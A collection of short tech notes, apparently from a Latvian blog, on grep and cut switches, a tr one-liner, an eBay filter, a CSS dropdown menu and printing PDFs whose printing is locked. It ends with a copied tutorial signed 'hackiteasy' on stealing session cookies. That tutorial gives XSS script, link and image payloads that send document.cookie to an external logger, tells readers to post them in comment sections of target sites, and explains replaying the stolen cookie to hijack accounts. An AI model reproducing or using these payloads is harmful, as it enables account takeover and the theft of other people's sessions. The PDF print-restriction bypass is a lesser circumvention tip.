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Ieraksts ir veidots 2011. gada maijā un tad viņi vēl nezināja, ka izdosies to pārdot facbook par tādu pašu cenu, kā Audi nopērk Ducati.

Interesanti bija, ka autors atteicies no daudz labāk atmaksāta darba, lai varētu darīt to, kas patīk. Kārtējo reizi pierādās, ka šāda pieeja atmaksājas.

Interesanti un iedvesmojoši.

Vēl video no šīs sērijas:
http://www.youtube.com/playlist?list=PLE6D47E886AC2C62A

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http://www.udacity.com/overview/Course/cs253/CourseRev/apr2012

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3. Atbrīvojamies no komentāru spama

Pāris noderīgi switchi-
grep:
-A 5 izvadīt 5 rindiņas pēc atrastās sakarības
-B 5 izvadīt 5 rindiņas pirms atrastās sakarības
-n izvadīt rindiņas nummuru, pie kuras atrasta sakarība
-v izvadīt visas rindiņas, kurās nav atrasta sakarība

cut:
-d norāda kolonu atdalītāju, ja tas ir tukšumzīme, tad -d’ ‘
-f kuru kolonu izvadīt, -f1,3, tiks izvadīta 1 un 3 kolona
-c griešana pēc simbola
Piemērs:
echo “123456789″ | cut -c -5
12345
echo “123456789″ | cut -c 5-
56789
echo “123456789″ | cut -c 3-7
34567
echo “123456789″ | cut -c 5
5
wc -l saskaita izvadāmās rindiņas

http://www.thelinuxblog.com/using-cut-shellscript-string-manipulation/
http://ss64.com/bash/grep.html
http://www.uccs.edu/~ahitchco/grep/

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3. Pirmās dienas zem Ubuntu :)

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Kā to izdarīt ar Win rīkiem tā arī neatradu, tāpēc pieķēros pie Linux.

Risinājums izrādījās vienkāršs:

cat file.txt | tr -d '\n' >newfile.txt

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Problēmas atrisinājums ir diezgan vienkāršs.

http://forums.ebay.com/db1/topic/Search/How-To-Filter/510291371

To see only those items available for shipping to your country, you would need to do either of the following 1) Use the left side of the page under preferences/locations and select Worldwide. This will filter for only those items that can be shipped to any country. 2) Use Advanced Search under Location. Check the box to Only show items from & the radio button to select Available to. Then use the available to drop down to select your country from the list. This will filter for those items available specifically to your country, including those available with worldwide shipping. I hope that makes sense. If not, please let me know. Best Regards & Happy Holidays,

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<div id="navMenu">
<ul>
<li> <a href="#">Products</li>
<ul>
	 <li><a href="#">Wet Suit</li>

    <li><a href="#">Vacuum Cleaner</li>

    <li><a href="#">Pill Box</li>

</ul>
 </li>
</ul>
</ul>

</div>
 


#navMenu {
margin:0;
width:auto;
}

#navMenu ul {
margin:0;
padding:0;
line-height:30px;
}

#navMenu li {
margin:0;
padding:0;
list-style:none;
float:left;
position:relative;
background:#999;
}

#navMenu ul li a {
text-align:center;
height:30px;
width:150px;
display:block;
color:#000;
font-family:"Comic Sans MS", cursive;
text-decoration:none;
color:#FFF;
border:1px solid #FFF;
text-shadow:1px 1px 1px #000;
}

#navMenu ul ul {
position:absolute;
visibility:hidden;
top:32px;
}

#navMenu ul li:hover ul {
visibility:visible;
z-index:9999;
}

/**********************************************/

/*sets top level hover color*/

#navMenu li:hover {
background:#09F;
}

/*sets link items hover color and background*/

#navMenu ul li:hover ul li a:hover {
color:#000;
background:#CCC;
}

/* Changes text color on hover for main menu hover*/

#navMenu a:hover {
color:#000;
}

/* Contains the Float */

.clearFloat {
clear:both;
margin:0;
padding:0;
}

/* IE7 Display Fix */

#navmenu ul li {

display: inline;

}

Ieraksts kopēts no:

http://dreamweavertutorial.co.uk/dreamweaver/video/drop-down-css-menu-dreamweaver.htm

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I had couple of instances where I wanted to print PDF documents but couldn’t do so since the print option was disabled. Tried many ways, searched in the web but no help until the other day to my surprise I got this tool called GSView.

Using GSView we can print PDF documents even though the printing option is disabled. But to use GSView we also need to install another tool called Ghostscript. You can download these tools from:
Ghostscript

http://pages.cs.wisc.edu/~ghost/doc/AFPL/get851.htm

GSView

http://pages.cs.wisc.edu/~ghost/gsview/get47.htm

How to do use this tool:
• Download and install Ghostscript
• Download, Install and run GSView
• Open the GSView Tool and open the PDF document you can’t print.
• Go to File -> Print as you normally would.
I tried this tool and it worked for me.

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Otrs veids ir izmantot šo pieeju.

Savkārt ievietot jau mājaslapā pārsūtāmo informāciju visbiežāk izdevies izmantojot šo piemēru:

<p>script>
new Image().src=”http://jehiah.com/_sandbox/log.cgi?c=”+encodeURI(document.cookie);
<p>/script>

In computer science, session hijacking refers to the exploitation of a valid computer session—sometimes also called a session key—to gain unauthorized access to information or services in a computer system. In particular, it is used to refer to the theft of a magic cookie used to authenticate a user to a remote server. It has particular relevance to web developers, as the HTTP cookies used to maintain a session on many web sites can be easily stolen by an attacker using an intermediary computer or with access to the saved cookies on the victim’s computer (see HTTP cookie theft).

Here we show how you can hack a session using javascript and php.

What is a cookie?

A cookie known as a web cookie or http cookie is a small piece of text stored by the user browser.A cookie is sent as an header by the web server to the web browser on the client side.A cookie is static and is sent back by the browser unchanged everytime it accesses the server.
A cookie has a expiration time that is set by the server and are deleted automatically after the expiration time.
Cookie is used to maintain users authentication and to implement shopping cart during his navigation,possibly across multiple visits.

What can we do after stealing cookie?

Well,as we know web sites authenticate their user’s with a cookie,it can be used to hijack the victims session.The victims stolen cookie can be replaced with our cookie to hijack his session.

This is a cookie stealing script that steals the cookies of a user and store them in a text file, these cookied can later be utilised.

PHP Code:

Save the script as a cookielogger.php on your server.
(You can get any free webhosting easily such as justfree,x10hosting etc..)

Create an empty text file log.txt in the same directory on the webserver. The hijacked/hacked cookies will be automatically stored here.

Now for the hack to work we have to inject this piece of javascript into the target’s page. This can be done by adding a link in the comments page which allows users to add hyperlinks etc. But beware some sites dont allow javascript so you gotta be lucky to try this.

The best way is to look for user interactive sites which contain comments or forums.

Post the following code which invokes or activates the cookielogger on your host.

Code:
<p>script type=”text/javascript” language=”Java script”>// document.location="http://www.yourhost.com/cookielogger.php?cookie=" + document.cookie;
// ]]><p>/script>

Your can also trick the victim into clicking a link that activates javascript.
Below is the code which has to be posted.

Code:
<p>a href=”java script:document.location=’http://www.yourhost.com/cookielogger.php?cookie=’+document.cookie;”>Click here!

Clicking an image also can activate the script.For this purpose you can use the below code.

Code:

<p>img src=”URL OF THE IMAGE” alt=”" />

All the details like cookie,ipaddress,browser of the victim are logged in to log.txt on your hostserver

In the above codes please remove the space in between javascript.

Hijacking the Session:

Now we have cookie,what to do with this..?
Download cookie editor mozilla plugin or you may find other plugins as well.

Go to the target site–>open cookie editor–>Replace the cookie with the stolen cookie of the victim and refresh the page.Thats it!!!you should now be in his account. Download cookie editor mozilla plugin from here : https://addons.mozilla.org/en-US/firefox/addon/573

Don’t forget to comment if you like my post.
by hackiteasy

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